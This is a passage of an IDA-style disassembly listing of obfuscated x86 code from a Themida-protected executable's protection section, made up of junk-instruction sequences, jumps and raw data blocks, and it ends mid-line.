0BE243489h, 31F2411Dh, 24048156h dd 485F28DAh, 0FFD93AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A4325: ; CODE XREF: Themida_:0059D8B3j sub edi, 37416B39h mov ebx, [esp] add esp, 4 push 5753h mov [esp], ebx mov ebx, 11AF4CA1h neg ebx push esi sub esp, 4 mov [esp], edi mov edi, 0 mov esi, edi pop edi sub esi, ebx mov ebx, esi mov esi, [esp] add esp, 4 xchg ebp, ebx dec ebp xchg ebp, ebx jmp loc_592B5C ; --------------------------------------------------------------------------- db 29h, 0FAh, 0E9h dd 0FFFF303Dh ; --------------------------------------------------------------------------- loc_5A4370: ; CODE XREF: Themida_:00591841j push dword ptr [esp] pop esi add esp, 4 pop ecx or edi, 781952D7h shl edi, 4 xor edi, 0AE2FAF23h add eax, 3B6964CDh sub eax, 518B0532h sub eax, edi add eax, 518B0532h push ebx mov ebx, 3B6964CDh sub eax, ebx mov ebx, [esp] jmp loc_593F76 ; --------------------------------------------------------------------------- dd 5C241C87h, 5C240C87h, 0B3DE9h db 0 ; --------------------------------------------------------------------------- loc_5A43B5: ; CODE XREF: Themida_:005A038Aj xchg edi, [esp] pop esp push ecx mov ecx, esp push edi push esi mov esi, 4 mov edi, esi pop esi add ecx, edi jmp loc_5A1E81 ; --------------------------------------------------------------------------- loc_5A43CD: ; CODE XREF: Themida_:005A27C7j mov [esp], ebp mov ebp, 4 add eax, ebp push dword ptr [esp] pop ebp add esp, 4 push 63D3h mov [esp], ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], eax jmp loc_59733C ; --------------------------------------------------------------------------- loc_5A4402: ; CODE XREF: Themida_:00593A35j pop eax xchg ecx, [esp] pop esp push edi jmp loc_59FC83 ; --------------------------------------------------------------------------- dd offset dword_455248+24020h align 2 dw 2C89h dd 0CB9BD24h, 52504C43h, 0C639B68h, 0EA815A57h, 4B641C69h dd 93E9D089h db 44h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A442F: ; CODE XREF: Themida_:005A4773j sub eax, 65D37AF1h jmp loc_592E32 ; --------------------------------------------------------------------------- db 66h, 0BEh, 2Eh dd 0F3296652h, 0FF7110E9h, 241C33FFh, 33241C31h, 248B241Ch dd 241C3324h, 33241C31h, 665C241Ch, 2404B30Fh, 0C635E99Ch dd 0C581FFFEh, 4, 0FEE94FE9h, 63BE56FFh, 0D13B5773h, 46D6F7EEh dd 2069EE81h, 0EE810FE4h, 9649D69Ah, 0E95EF209h, 0FFFFE805h ; --------------------------------------------------------------------------- loc_5A4490: ; CODE XREF: Themida_:0059A1D0j sub ebp, eax mov eax, [esp] jmp loc_59F526 ; --------------------------------------------------------------------------- dw 7968h dd 8900007Bh, 4BB241Ch, 29000000h, 0DFE95BDEh, 57FFFF8Ah dd 42474FFh, 0E9243C8Bh, 0FFFFC25Fh, 8B241C87h, 23E92424h dd 0D3FFFF2Fh, 0E99C242Ch, 0FFFEC5CBh, 2C8BEB01h, 8755E924h dd 0CF29FFFFh, 0FF1A1DE9h, 4594BFFFh, 7C290C7Fh, 5E5F0424h dd 627DE957h, 505CFFFFh, 42474FFh, 8B2434FFh, 0A2E92404h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4503: ; CODE XREF: Themida_:0059CB17j add esp, 4 add eax, 0B25344Ah jmp loc_5934B2 ; --------------------------------------------------------------------------- dd 0D2468h, 243C8900h, 4EC81h, 99E90000h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4523: ; CODE XREF: Themida_:005927BAj xchg esi, ebx not esi xchg esi, ebx jmp loc_5949AA ; --------------------------------------------------------------------------- dw 0C89h dd 70B8B924h, 0C9813119h, 6C733848h, 8106E1C1h, 4F5920E9h dd 0F1814944h, 46502EEEh, 7753E981h, 0F7E9F413h, 29FFFF61h dd 0C1C181F1h, 817ADD0Bh, 0C66644E9h, 82C18103h, 8B587342h dd 0C4812434h, 4, 47EDC681h, 0CE295751h, 47EDEE81h, 33595751h dd 34312434h, 24343324h, 0E924248Bh, 0FFFFE276h, 815FF921h dd 0A2051E9h, 59CE8915h, 348BF301h, 4C48124h, 68000000h dd 7E51h, 0E9241C89h, 0FFFF96ACh ; --------------------------------------------------------------------------- loc_5A45B8: ; CODE XREF: Themida_:0059FBF9j xchg ebp, [esp] pop esp push 4C01h mov [esp], edi push eax mov eax, 5B4847D8h push eax xor dword ptr [esp], 4C05628Fh pop edi xor edi, 4C05628Fh jmp loc_59FB05 ; --------------------------------------------------------------------------- dw 3487h dd 1FE3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A45E6: ; CODE XREF: Themida_:0059507Fj xor edx, 0C007E77h sub ebx, edx pop edx add ebx, 0A43B1781h add eax, ebx jmp loc_59545C ; --------------------------------------------------------------------------- loc_5A45FC: ; CODE XREF: Themida_:005950F0j mov esi, esp jmp loc_599B03 ; --------------------------------------------------------------------------- loc_5A4603: ; CODE XREF: Themida_:005992DCj push 271Eh mov [esp], ebx mov ebx, esp jmp loc_59ABA5 ; --------------------------------------------------------------------------- dw 0C781h dd 1, 0C1D7F747h, 4BE905E7h, 0F6FFFFB9h, 0B60F66F9h, 816866CCh dd 5E97E933h, 0BD55FFFFh, 4, 0FF9CCDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A463D: ; CODE XREF: Themida_:005A0ADDj shr ah, 5 or ah, 0C8h jmp loc_593630 ; --------------------------------------------------------------------------- loc_5A4648: ; CODE XREF: Themida_:005A3C3Ej pop edi sub edi, 4EB14E62h jmp loc_59D479 ; --------------------------------------------------------------------------- loc_5A4654: ; CODE XREF: Themida_:005A5AD0j push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [ebx], edx mov ebx, [esp] jmp loc_59B4A9 ; --------------------------------------------------------------------------- loc_5A4670: ; CODE XREF: Themida_:00592271j sub esi, 9FE26E88h add edi, esi pop esi mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_592F24 ; --------------------------------------------------------------------------- dw 0E980h dd 70FCE91Ah db 2 dup(0FFh) word_5A469A dw 34FFh ; DATA XREF: Themida_:00590830o dd 5008E924h, 8966FFFFh, 87E92404h, 59FFFEE4h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov cl, 26h shr cl, 4 neg cl push dx jmp loc_5A3620 ; --------------------------------------------------------------------------- loc_5A46D0: ; CODE XREF: Themida_:00598DE4j xchg ebx, [esp] pop esp mov [esp], ebp mov ebp, 4FA54DFh jmp loc_59B40D ; --------------------------------------------------------------------------- loc_5A46E1: ; CODE XREF: Themida_:00593350j mov eax, [esp] add esp, 4 jmp loc_5A3823 ; --------------------------------------------------------------------------- loc_5A46EC: ; CODE XREF: Themida_:00599730j mov [esp], ebx push 28h pop ebx add ebx, 4635D1Ah sub ebx, offset word_49457A add ebx, edi push 38C1h mov [esp], ecx mov ecx, offset word_49457A add ebx, ecx jmp loc_592466 ; --------------------------------------------------------------------------- aIIZyh db 'ˆÊˆÓZYhÄ',0Ah,0 align 2 dw 23E9h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4727: ; CODE XREF: Themida_:0059DAC2j mov ebx, 314B3175h jmp loc_5A2390 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 546AC868h, 0DE895B4Dh, 0FF2434FFh, 835B2434h, 8B6804C4h dd 89000044h, 0E589242Ch, 0FFE5A5E9h, 5F5A57FFh, 42E9D001h dd 59FFFECAh, 0E95AD629h, 0FFFFD045h ; --------------------------------------------------------------------------- loc_5A4768: ; CODE XREF: Themida_:00595EF9j mov edx, 518D08ECh jmp loc_5A5246 ; --------------------------------------------------------------------------- loc_5A4772: ; CODE XREF: Themida_:00591CB6j pop ecx jmp loc_5A442F ; --------------------------------------------------------------------------- dd 6E9C141h, 0FF5745E9h, 241C89FFh, 0FF03BBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A4789: ; CODE XREF: Themida_:005A3824j add eax, 7ECC5D01h sub esp, 4 mov [esp], esi sub esp, 4 jmp loc_599883 ; --------------------------------------------------------------------------- word_5A47A2 dw 8B66h ; DATA XREF: Themida_:00590990o dd 5450240Ch, 9351E958h, 0C188FFFFh, 3B2868h, 24148900h dd 0FFFF5AE9h, 246C81FFh, 45501504h, 246C810Ch, 0A8473204h dd 242C8B0Bh, 81E18951h, 4C1h, 4C18300h, 0FFCC05E9h, 243C89FFh dd 0FFBE8AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A47E9: ; CODE XREF: Themida_:005A1DD1j mov [esp], eax mov eax, 3800C2h jmp loc_5A04E4 ; --------------------------------------------------------------------------- dw 3489h dd 50E68924h, 468h, 0EE815800h, 699F027Ch, 6505B951h, 0E9815080h dd 2D729DEh, 0FF9B7CE9h, 242489FFh, 4240483h, 57242C8Bh dd 0C781E789h, 4, 0E904C783h, 0FFFEDAF8h, 4C481h, 86E90000h dd 0B8FFFEC2h, 7EF56758h, 256C9D0Dh, 3E0C155h, 6A4BBE56h dd 0F0293A8Ah, 0FFF1C3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A4859: ; CODE XREF: Themida_:005980F0j xchg eax, [esp] pop esp push 592Dh jmp loc_597780 ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 81D6F704h, 0ECF870EEh, 8BF031EBh, 7CE92434h dd 58FFFEF3h, 8304C483h, 1C8704EBh, 4EEE924h, 0C87FFFFh dd 24248B24h, 22D6E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A489A: ; CODE XREF: Themida_:005A3526j push dword ptr [esp] jmp loc_59B073 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 48BC301h, 5AE95324h, 0BEFFFFBCh, 85F268Eh, 0BBE9D6F7h db 3Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A48BF: ; CODE XREF: Themida_:0059E83Fj add esi, ebp pop ebp push 0A5Bh mov [esp], edx mov edx, 563B73D0h add edx, 0A9C48C34h push eax mov eax, 139763F8h jmp loc_59D8CB ; --------------------------------------------------------------------------- loc_5A48E0: ; CODE XREF: Themida_:005A00D3j xor eax, esi mov esi, [esp] jmp loc_59652F ; --------------------------------------------------------------------------- loc_5A48EA: ; CODE XREF: Themida_:0059DA72j xor edx, 0E204F416h xor edi, edx pop edx sub ebx, edi pop edi push 4DE7h jmp loc_593FC6 ; --------------------------------------------------------------------------- dd 461DBE56h, 0D6F75159h, 0FF8514E9h, 8EB450FFh, 8858E230h dd 7075E9D5h, 74FFFFFFh, 348B0424h, 4C48124h, 8F000000h dd 71E92404h db 0DBh, 2 dup(0FFh) byte_5A492F db 66h ; DATA XREF: Themida_:00590964o dd 6824048Bh, 78E5h, 54241C89h, 4BF575Bh, 1000000h, 89565FFBh dd 7AE951E6h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A494F: ; CODE XREF: Themida_:00593F85j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_5A37F8 ; --------------------------------------------------------------------------- dd 8104C483h, 0A83BECEBh, 55D30129h, 0F421B2BDh, 0C6ED813Bh dd 1124BE5h, 0B9515DEBh, 7BD56988h, 0FEEABEE9h, 5FFA01FFh dd 0E9240C8Bh, 1163h ; --------------------------------------------------------------------------- loc_5A4994: ; CODE XREF: Themida_:00595DB4j xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ax jmp loc_590A9B ; --------------------------------------------------------------------------- dw 0FF52h dd 5A042474h, 5C24048Fh, 24048B66h, 40AB68h, 24348900h dd 6CE95E54h, 66000007h, 50240C8Bh, 0FFE9E089h, 9FFFEECh dd 9EE95AD5h, 29FFFFF0h, 242C8BE9h, 0FEC9A0E9h, 51505AFFh dd 861C8868h, 5E95973h, 87FFFFAAh, 87D7F7F9h, 55E950F9h db 78h, 2 dup(0FFh) aN1HK db '1Øh!K',0 ; DATA XREF: Themida_:00590940o dw 8900h a4HZ db '4$h^Z',0 dw 0E900h dd 0FFFF2FF5h ; --------------------------------------------------------------------------- loc_5A4A10: ; CODE XREF: Themida_:005A005Bj mov ebx, [esp] add esp, 4 jmp loc_5976AD ; --------------------------------------------------------------------------- db 89h dd 8956240Ch, 4C681E6h, 81000000h, 4EEh, 24343300h, 0FF9187E9h dd 4C683FFh, 0FF98B0E9h, 0E7C381FFh, 0E90EEF64h, 0FFFFF7EBh dd 0F76AE95Ch, 48BFFFFh, 4C48324h, 0E951h, 0E1890000h dd 4C181h, 0E9830000h, 240C8704h, 241C895Ch, 4EC81h, 24890000h dd 24048124h, 4, 49B8505Bh, 2D736077h, 0FFFFFFFFh, 0FF4F17E9h dd 24248BFFh, 4246C01h, 0E9242C8Bh, 0FFFF3979h dword_5A4A9C dd 0E940478Fh, 0FFFEBFF7h; --------------------------------------------------------------------------- loc_5A4AA4: ; CODE XREF: Themida_:005A0EB3j pop esp push dword ptr [esp] mov eax, [esp] push ebp mov ebp, esp jmp loc_59A478 ; --------------------------------------------------------------------------- db 81h dd 0F16174F7h, 23F7816Eh, 0E93F0F1Fh, 0FFFFFAD0h, 148BD029h dd 4C48324h, 8B2434FFh, 0C4832414h, 0E2895204h, 4C281h dd 0E9530000h, 0FFFF1728h, 3C8BF989h, 4C48124h, 55000000h dd 395BC1BDh, 2FC1E92Bh, 0C481FFFFh, 4, 5C24048Fh, 2D3BEA81h dd 0EA811CFBh, 11F937DDh, 71A8B850h, 0C20125C8h, 83C20158h dd 48904ECh, 5337B824h, 7E2D0644h, 254A5F3Eh, 5CCF7D19h dd 2414F750h, 2A002558h, 0A50D224Eh, 3528E634h, 0F264F0Dh dd 5658C229h, 340CF068h, 5DE95E0Dh db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4B53: ; CODE XREF: Themida_:005A1CF2j push eax jmp loc_5932A1 ; --------------------------------------------------------------------------- db 56h, 0BEh, 0AAh dd 0E91CCF42h, 0FFFF52B9h ; --------------------------------------------------------------------------- loc_5A4B64: ; CODE XREF: Themida_:0059E7F2j add edx, 4FF25952h add edx, edi jmp loc_596E39 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E92434FFh, 0FFFEE845h, 8BF8295Ch, 0C481243Ch, 4, 24048150h dd 4E9B6EF0h, 0E9241C8Bh, 0FFFEF782h, 7620C5BEh, 4D4AE97Ch dd 15AFFFFh, 1482E9F8h, 0CA29FFFFh, 0FFC106E9h, 58E600FFh dd 24048B66h, 6602C483h, 80FFB151h, 0C6801DC6h, 80CE288Eh dd 0EC838EEEh, 0E555E902h, 0CCBDFFFFh, 0E97B106Eh, 0FFFF6C1Ah dd 5B66FC00h, 0E902E4C0h, 0FFFFCE32h, 0B2C7815Ah, 5045A932h dd 0C45359B8h, 0E9C72947h, 0FFFFEE3Ch, 0C7E9EF31h, 66FFFEDAh dd 666DDA68h, 0E9240C89h, 0FFFF30A8h, 8B24048Fh, 0A7E92424h dd 81FFFF3Fh, 105EAC6h, 86B95162h, 2975F86Eh, 0C68159CEh dd 11974E10h, 75D8E955h, 9F05FFFFh, 10C57CCh, 685058C3h dd 79180AB7h, 149F0558h, 0E9403DA4h, 0FFFF59E4h ; --------------------------------------------------------------------------- loc_5A4C50: ; CODE XREF: Themida_:0059E32Cj xor edx, 0AEC2964Ah add edi, 106B04E5h add edi, edx jmp loc_5A36EB ; --------------------------------------------------------------------------- db 50h dd 1842BD55h, 0B9516B96h, 615653FBh, 5659CD09h, 5265E5BEh dd 40E68147h, 0C124E425h, 2AE906E6h, 2CFFFEBEh, 0C43BE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4C8E: ; CODE XREF: Themida_:005A254Dj add esp, 4 xor edx, edi jmp loc_597FED ; --------------------------------------------------------------------------- db 1 dd 241C8BDFh, 4C481h, 0C7810000h, 7EB967D9h, 9EE9F729h dd 59FFFF0Fh, 72E95350h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4CBB: ; CODE XREF: Themida_:005A54D4j mov ecx, 2 jmp loc_59DF9E ; --------------------------------------------------------------------------- loc_5A4CC5: ; CODE XREF: Themida_:0059B6C2j xchg edx, [esp] pop esp jmp loc_595A72 ; --------------------------------------------------------------------------- dw 0DDF7h dd 0FEC3DAE9h, 24248BFFh, 0FFF7EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A4CDD: ; CODE XREF: Themida_:0059B194j sub esp, 4 mov [esp], edi mov edi, 1 add ebp, edi mov edi, [esp] add esp, 4 jmp loc_5A2EEA ; --------------------------------------------------------------------------- dword_5A4CF8 dd 240C8B66h, 5FBF6851h, 0F0E90000h, 66FFFF90h, 66273E05h ; DATA XREF: Themida_:005909F0o dd 51241C8Bh, 0FF1212E9h, 40558FFh, 51000000h, 3101BB53h dd 0C3814078h, 1DCC7CC0h, 1AC3814Bh, 89DC1154h, 57AEE9D9h dd 5166FFFFh, 0E82823B5h, 0A8045966h, 0C2301034h, 5324048Bh dd 27E9E389h, 0B2FFFF67h, 66D0281Eh, 0B551535Ah, 0DA61E988h dd 8C68FFFEh, 0E9000067h, 0FFFFB789h ; --------------------------------------------------------------------------- loc_5A4D68: ; CODE XREF: Themida_:00591C0Aj xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5A34EE ; --------------------------------------------------------------------------- dw 2C89h dd 46824h, 2C8B0000h, 58545024h, 405h, 40500h, 0FF500000h dd 58042474h, 8B24048Fh, 0EB012424h, 68242C8Bh, 35C4h dd 89241C89h, 4C381E3h, 81000000h, 4C3h, 241C8700h, 5224248Bh dd 65E9E289h, 0F7FFFF0Ah, 3E3C1DBh, 114368h, 24148900h dd 0FFBA07E9h, 242C89FFh, 467968h, 4EBAE900h, 0FCBBFFFFh dd 31393200h, 24348BF3h, 4C481h, 67E90000h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A4DF7: ; CODE XREF: Themida_:005A56CCj mov edx, [esp] add esp, 4 pop ebx pop ebp sub esp, 4 mov [esp], esi push ecx mov ecx, 4E1B1B54h neg ecx or ecx, 6E8E2FF6h shl ecx, 2 sub ecx, 8EA45CD6h mov esi, ecx pop ecx jmp loc_59B596 ; --------------------------------------------------------------------------- loc_5A4E27: ; CODE XREF: Themida_:0059246Cj pop ecx add esp, 4 add esp, 4 sub ebx, 4635D1Ah mov eax, [ebx] mov ebx, [esp] push esi jmp loc_59DBB5 ; --------------------------------------------------------------------------- dw 545Ch dd 5124048Fh, 4B850h, 0C1890000h, 244C0158h, 48BAE904h dd 0C483FFFFh, 0FFFE2904h, 815F2434h, 4C4h, 8F5DE900h dd 0C8BFFFFh, 4C48324h, 0B60FC330h, 8734FFC0h, 53E18951h dd 725FA8BBh, 0ACF38165h, 165725Fh, 0E9815BD9h, 4, 31240C33h dd 0C33240Ch, 24248B24h, 89243C89h, 4C781E7h, 52000000h dd 0FFE4E8E9h, 105FFh, 98E90000h, 0BBFFFF45h, 63F05925h dd 0FB685657h, 5E72DB30h, 75E9h db 0 ; --------------------------------------------------------------------------- loc_5A4ECD: ; CODE XREF: Themida_:0059780Ej pop dword ptr [esp] mov esp, [esp] jmp loc_59C7FA ; --------------------------------------------------------------------------- dd 210BC381h, 348B0C92h, 4C48124h, 81000000h, 2C3h, 0E8E5E900h dd 400FFFFh, 0A0E99C24h db 0BBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A4EFB: ; CODE XREF: Themida_:0059CD62j add eax, 27887610h pop ebp sub eax, 17D22F14h add eax, ebx add eax, 17D22F14h push edi push 4338h mov [esp], esi jmp loc_5970D4 ; --------------------------------------------------------------------------- loc_5A4F1B: ; CODE XREF: Themida_:0059D1F1j add al, 1Bh sub dh, al pop eax sub bl, dh jmp loc_59D62A ; --------------------------------------------------------------------------- align 4 dd 0FD4FE9C8h, 0C89FFFEh, 74E3E924h, 295AFFFFh, 1C8759CBh dd 8A2CE924h, 0D6F7FFFFh, 76D9F681h, 0BE96A7Ch db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4F4F: ; CODE XREF: Themida_:00595CDDj push ebx mov ebx, esp add ebx, 4 jmp loc_59B306 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 4C481h, 0C3830000h, 241C8704h, 0C8BF0F5Ch, 7A8168h dd 240C8900h, 0FEBB1EE9h, 58E728FFh, 0E91DE780h, 0FFFF9BCEh dd 6602EC83h, 0E9240489h, 0FFFFE204h, 4BA5258h, 0E9000000h dd 0FFFF5C3Ah, 42EABF57h, 0B850005Dh, 0FFA2BD18h, 8158C701h dd 0D97E71C2h, 81FA016Bh, 0D97E71EAh, 243C8B6Bh, 8904EC83h dd 76E92414h db 0D7h, 2 dup(0FFh) byte_5A4FCB db 0ADh ; DATA XREF: Themida_:00590800o dd 0FF4337E9h, 4C681FFh, 87000000h, 74E92434h, 50FFFFCDh dd 405E089h, 2D000000h, 4, 0E9240433h, 0FFFF2379h, 0FA31D731h dd 4A06E2C1h, 1079F281h, 0D72981BBh, 349E95Ah, 3C31FFFFh dd 243C3324h, 0C89665Ch, 0F6B65224h, 8AE9F188h db 0EAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A501F: ; CODE XREF: Themida_:00593241j pop esp push edx push 70473E98h pop edx mov eax, 70473E99h xor eax, edx push dword ptr [esp] jmp loc_598F28 ; --------------------------------------------------------------------------- loc_5A5036: ; CODE XREF: Themida_:005A08A8j mov edx, 4 sub esi, 40BA7780h jmp loc_5A05BC ; --------------------------------------------------------------------------- loc_5A5046: ; CODE XREF: Themida_:005911D3j add ebx, edi mov edi, [esp] add esp, 4 sub edi, 573B5A83h add edi, ebx jmp loc_5A3A80 ; --------------------------------------------------------------------------- dw 0BE56h dd 16632207h, 7E9F589h, 0B8FFFF00h, 4, 4244401h, 8324048Bh dd 55804C4h, 4, 405h, 9978E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A508A: ; CODE XREF: Themida_:0059A65Ej pop esi pop ebx and eax, edi mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_597B7A ; --------------------------------------------------------------------------- aNhV db 'hÉv',0 ; DATA XREF: Themida_:0059098Co align 2 dw 7BE9h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A50B3: ; CODE XREF: Themida_:0059EEEDj add eax, 4 xchg eax, [esp] pop esp push edx mov edx, 2 add esi, edx mov edx, [esp] jmp loc_5920A9 ; --------------------------------------------------------------------------- dword_5A50CC dd 67B652ACh, 67BE6866h, 240C8966h, 0DDC8E950h, 2EBBFFFFh ; DATA XREF: Themida_:005909D4o dd 0C10B922Eh, 0C38107EBh, 7CC6160Fh, 0FFA5B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A50F1: ; CODE XREF: Themida_:0059A01Cj mov [esp], edi mov edi, 66543FD6h jmp loc_59F0B4 ; --------------------------------------------------------------------------- dw 0EE83h dd 24348704h, 0FF7B73E9h, 231DB9FFh, 0E1C12644h, 49D1F702h dd 0A6C9F181h, 0CF31F95Ch, 0EFC18159h, 0E934713Bh, 0FFFED918h dd 0D9E9C588h, 81FFFFEFh, 4C6h, 2C68300h, 4EC81h, 34890000h dd 2474FF24h, 24348B04h, 3C1568h, 24348900h, 4EE95E54h dd 0CFFFF4Fh, 52EC2CEEh, 46E9ACB2h, 5AFFFF4Dh, 4C581h dd 2C870000h, 0C6815C24h, 4, 5ABE5653h, 0E9153602h, 0FFFF0ED5h dd 0EEE9E931h, 55FFFFDFh, 0CC198CBDh, 24448158h, 403C3804h dd 246C2948h, 4EC8304h, 0BB241C89h, 48403C38h, 8245C29h dd 242C8B5Bh, 0FF04C483h, 34FF2434h, 24048B24h, 0FED0C1E9h dd 81E958FFh, 2DFFFF3Dh, 57D5E39h, 423C3A05h, 24148B2Fh dd 54E95452h, 5AFFFFCDh, 34FF1204h, 0C4815A24h, 4, 3AE8E953h dd 0B353FFFFh, 0E9D820D2h, 0FFFFA1F7h ; --------------------------------------------------------------------------- loc_5A51F4: ; CODE XREF: Themida_:0059481Ej sub ecx, eax mov eax, [esp] add esp, 4 jmp loc_59F294 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0E2808FB2h, 2E280F5h, 0EC81DAF6h, 2, 0FF06B2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A5219: ; CODE XREF: Themida_:0059DFD5j push ebp xchg edx, [esp] not edx jmp loc_592434 ; --------------------------------------------------------------------------- dd 525B5A59h, 0C2FE3FB2h, 0FED045E9h, 4C0159FFh, 0FF590424h dd 30E92434h, 5AFFFF69h, 0C89CE957h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A5246: ; CODE XREF: Themida_:005A476Dj xor edx, 65EE3F26h dec edx shl edx, 4 push edi jmp loc_597A7E ; --------------------------------------------------------------------------- word_5A5256 dw 8B66h ; DATA XREF: Themida_:005907C4o dd 3B68240Ch, 0E900004Bh, 0FFFED5C6h ; --------------------------------------------------------------------------- loc_5A5264: ; CODE XREF: Themida_:005970ECj mov eax, 93FF8EF3h xor ebx, eax mov eax, [esp] add esp, 4 mov esi, ebx jmp loc_5A1AF9 ; --------------------------------------------------------------------------- dd 2E7C158h, 8103EFC1h, 4ECh, 240C8900h, 7F0D6850h, 5581579h dd 2602891Eh, 0E958C189h, 0FFFF2216h, 8B243C33h, 4892424h dd 0E0895024h, 405h, 4E88300h, 5C240487h, 81240C89h, 4ECh dd 24048900h, 0FEE159E9h, 3090B8FFh, 0C1012E24h, 8324048Bh dd 26E904C4h, 66FFFFBFh, 0C8B3535Ah, 0F6C0C380h, 535266D3h dd 0EB804DB3h, 5BDA88E2h, 0FF1F3AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A52F1: ; CODE XREF: Themida_:005950B1j mov edi, 4 jmp loc_59121B ; --------------------------------------------------------------------------- db 29h dd 0E5B951C7h, 0E97E9F49h, 0FFFF1982h, 8324148Bh, 0B0B104C4h dd 0FF15B4E9h, 4C281FFh, 83000000h, 148704C2h, 83E95C24h dd 0B8FFFEE4h, 69502B15h, 83272A05h, 4FF5033h, 0DB355824h dd 0C12F776Bh, 0A1E904E0h, 89FFFFE1h, 241C8BD9h, 4C481h dd 0BB530000h, 6F6A180Fh, 1C8BD829h, 4C48124h, 1000000h dd 0FBE56C8h, 0E96F6A18h, 6CAh, 3EE9E0D1h, 0B9FFFFFBh dd 0D69DCA91h, 8959CB29h, 241C8BDEh, 4C481h, 61E90000h dd 8FFFFEC8h, 835C2404h, 77FF04C4h, 2434FF1Ch, 592434FFh dd 4EC81h, 2C890000h, 51E58924h, 4B9h, 3CED8100h, 161A075h dd 3CC581CDh, 5961A075h, 4C581h, 2C870000h, 0B9BFE924h dd 815AFFFFh, 4C4h, 52D82800h, 683AB050h, 4F5h, 0B6241489h dd 7B39E91Dh, 0EC81FFFFh, 4, 5E240C89h, 81D6F759h, 0BA42A3F6h dd 0B9F6815Bh, 1E08496h, 0E42AE9F2h, 875AFFFEh, 248B243Ch dd 2404D224h, 0B685E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A5416: ; CODE XREF: Themida_:005A0AF3j shl edx, 1 add edx, 0FF1DF580h mov esi, edx pop edx jmp loc_59A5C9 ; --------------------------------------------------------------------------- loc_5A5426: ; CODE XREF: Themida_:00591F36j push eax mov eax, esp jmp loc_59D51D ; --------------------------------------------------------------------------- dw 8859h dd 0CEFE58C6h, 0FED831E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A5439: ; CODE XREF: Themida_:005A19A5j mov [esp], ecx push 5C6Ch jmp loc_5923B5 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h, 33000000h, 2C31242Ch, 242C3324h, 8E8C15Ch dd 0D031C831h, 0D031C231h, 24043152h, 31240433h, 0F7502404h dd 48B2414h, 45E95724h db 0B9h, 0FEh, 0FFh byte_5A547B db 0FFh ; DATA XREF: Themida_:005909D8o dd 2C811C77h, 7711C224h, 0CDA8E975h, 1489FFFFh, 0C7FDE924h dd 875BFFFFh, 248B2434h, 26276824h, 14890000h, 8032B624h dd 0C680AFC6h, 79F680FFh, 0FEC216E9h, 0E9D6F7FFh, 0FFFEDDC6h ; --------------------------------------------------------------------------- loc_5A54B8: ; CODE XREF: Themida_:005A315Ej xor edi, [esp] pop esp sub ecx, 1EF22DF5h sub esp, 4 mov [esp], eax mov eax, 8EFBB60Dh xor ecx, eax pop eax add ebx, ecx pop ecx push ecx jmp loc_5A4CBB ; --------------------------------------------------------------------------- db 56h, 89h, 0FEh dd 348BF189h, 4C48124h, 8B000000h, 0C481243Ch, 4, 34FFCE01h dd 0C4835924h, 74FF5604h, 0E0E90424h, 81FFFF90h, 4C4h dd 8BF90000h, 0C483241Ch, 5A93E904h, 8B66FFFFh, 75E9240Ch db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A551F: ; CODE XREF: Themida_:005A196Ej mov edi, 21BE2E31h sub edi, ecx pop ecx push esi jmp loc_5A2B2F ; --------------------------------------------------------------------------- db 50h, 0B8h, 4 dd 89000000h, 0ED8158C3h, 2ECB123Ch, 0FEF2E2E9h, 240C33FFh dd 33240C31h, 665C240Ch, 5024048Bh, 0FFEA73E9h, 6FF4BAFFh dd 12E952A9h, 1FFFFEFh, 0BB535DEFh, 61561289h, 3AF4B850h dd 790D5A21h, 3538FC11h, 1BAB2970h, 2958C331h, 3C335BDFh dd 243C3124h, 5C243C33h, 52242C89h, 48393CBAh, 0ED42E94Ch db 2 dup(0FFh) word_5A5596 dw 